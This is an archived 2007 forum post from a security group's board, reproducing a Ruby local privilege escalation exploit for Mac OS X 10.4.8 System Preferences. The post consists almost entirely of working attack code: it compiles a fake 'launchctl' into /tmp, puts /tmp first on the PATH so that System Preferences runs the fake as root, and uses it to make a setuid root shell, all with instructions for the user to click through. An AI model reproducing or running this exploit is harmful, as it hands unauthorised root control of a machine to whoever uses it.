邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-1-25 22:06

Mac OS X 10.4.8 System Preferences Local Privilege Escalation Exploit

[code]
#!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#              Lance M. Havok  <lmh [at] info-pull.com>
# All pwnage reserved.
#
# "Exploit" for MOAB-21-01-2007: OS X, making root shells easier each day.
#

SHELL_WRAP    = &#39;int main() { system("/bin/sh -i"); return 0; }&#39;
SHELL_PLANT    = &#39;int main() { system("chown root: /tmp/shX; chmod 4755 /tmp/shX"); return 0; }&#39;
PREFS_BINPATH  = &#39;/Applications/System\ Preferences.app/Contents/MacOS/System\ Preferences&#39;

COMMAND_LINE   = "echo &#39;#{SHELL_WRAP}&#39; > /tmp/t.c &&"   +
            "cc -o /tmp/shX /tmp/t.c &&"        +
            "echo &#39;#{SHELL_PLANT}&#39; > /tmp/t.c &&"  +
            "cc -o /tmp/launchctl /tmp/t.c &&"    +
            &#39;export PATH="/tmp/:$PATH" &&&#39;       +
            "#{PREFS_BINPATH} &"

def escalate()
  system COMMAND_LINE
  puts "++ Click on Sharing and then click on Windows Sharing..."
  sleep 30 # make sure you have "time"
  system "/tmp/shX"
end

escalate()

[/code]

页: [1]
© 1999-2008 EvilOctal Security Team